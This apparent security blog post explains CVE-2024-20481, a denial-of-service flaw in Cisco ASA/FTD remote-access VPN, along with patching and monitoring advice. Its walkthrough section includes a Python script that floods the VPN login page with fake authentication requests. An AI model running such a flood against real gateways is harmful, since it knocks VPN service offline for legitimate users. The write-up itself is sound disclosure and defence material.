If you’re running Cisco Adaptive Security Appliance (ASA) or Cisco Firepower Threat Defense (FTD) and have Remote Access VPN (RAVPN) enabled, a serious vulnerability you need to know about is CVE-2024-20481. In this post, we’ll break down what this bug is, show basic exploitation steps, share code snippets to test for vulnerable devices, and link you directly to trustworthy sources for more details.

Introduction: What’s CVE-2024-20481?

Put simply, CVE-2024-20481 is a flaw in the way Cisco ASA and FTD handle large numbers of VPN authentication requests. An attacker doesn’t need any valid credentials. By sending tons of these requests, they can completely exhaust the device’s resources—crashing the VPN functionality (causing a Denial of Service or DoS). The bad news: The only way to restore VPN service might be to reboot the device.

> Key facts:
> - Attack Category: Resource Exhaustion (DoS)
> - Attack Complexity: Low (can be automated)
> - Authentication: None required (remote, unauthenticated)
> - Service Affected: Remote Access VPN only

Cisco FTD Software (running RAVPN service)

*Non-VPN services are not at risk.* But if you use these devices for client VPN connections, you are in the danger zone.

How Does CVE-2024-20481 Work?

Let’s keep it simple: Every VPN authentication attempt to the affected system takes up a small slice of memory and CPU. If you throw enough fake requests at it, the device will grind to a halt, and real users can’t connect.

> “An attacker could exploit this vulnerability by sending a large number of VPN authentication requests to an affected device. A successful exploit could allow the attacker to exhaust resources, resulting in a DoS…”
> *— Cisco Security Advisory*

Brute-forcing VPN credentials has always been trouble. But here, you don’t even need to guess real logins — just keep flooding the VPN login page. That’s what makes this so dangerous.

Exploit Walkthrough: Example Attack Script

Here’s a simple Python code snippet to demonstrate how an attacker might exploit this, using requests to flood the Cisco VPN web login:

import requests
from concurrent.futures import ThreadPoolExecutor

TARGET = "https://YOUR_CISCO_VPN_GATEWAY_IP/+webvpn+/index.html";
FAKE_USERNAME = "user"
FAKE_PASSWORD = "pass"

def send_auth():
    data = {
        "username": FAKE_USERNAME,
        "password": FAKE_PASSWORD,
        # Add more relevant fields if necessary
    }
    try:
        r = requests.post(TARGET, data=data, verify=False, timeout=3)
        print(f"Status: {r.status_code}")
    except Exception as e:
        print(f"Error: {e}")

# Flood the VPN with 100 requests
with ThreadPoolExecutor(max_workers=50) as pool:
    for _ in range(100):
        pool.submit(send_auth)

Note: If you own a Cisco VPN device, test responsibly and with permission! This will likely DISRUPT the service.

Real-World Attacks

Cisco Talos reported large-scale brute-force attacks targeting VPNs, including Cisco’s, using credential stuffing and automated scripts. These attackers don’t just try to break into systems – they can, and do, overwhelm them until nothing works.

*Link: Large-scale brute-force activity targeting VPNs, SSH services with commonly used login credentials*

Check if your device runs a vulnerable version:

Cisco Security Advisory - CVE-2024-20481

Test with Care:

Using the example code above (adapted for your environment), send multiple VPN login requests and monitor resource usage.

- Patch ASAP: Cisco has released fixed software. Upgrade immediately

- Download Cisco ASA / FTD Software
- Restrict VPN Access: Use firewall rules to block unnecessary VPN exposure to the public internet.

Monitor: Use Cisco logging and monitoring tools to detect abnormal floods early.

- MFA: Enforce multi-factor authentication. Although it won’t block this DoS, it will help prevent brute force logins.

Conclusion

CVE-2024-20481 is a powerful reminder that authentication and resource management are never “set and forget.” Attackers don’t need creative payloads — sometimes, volume alone is enough to bring down business-critical services.

Don’t ignore this one: Patch your Cisco VPN appliances now, or risk becoming the next outage statistic.

References and Further Reading

- Cisco Security Advisory: CVE-2024-20481
- Cisco Talos - Large-scale brute-force activity targeting VPNs, SSH services with commonly used login credentials
- Official Cisco Software Downloads


Stay safe, patch early, and keep your VPNs protected!

Timeline

Published on: 10/23/2024 18:15:11 UTC
Last modified on: 10/29/2024 17:47:44 UTC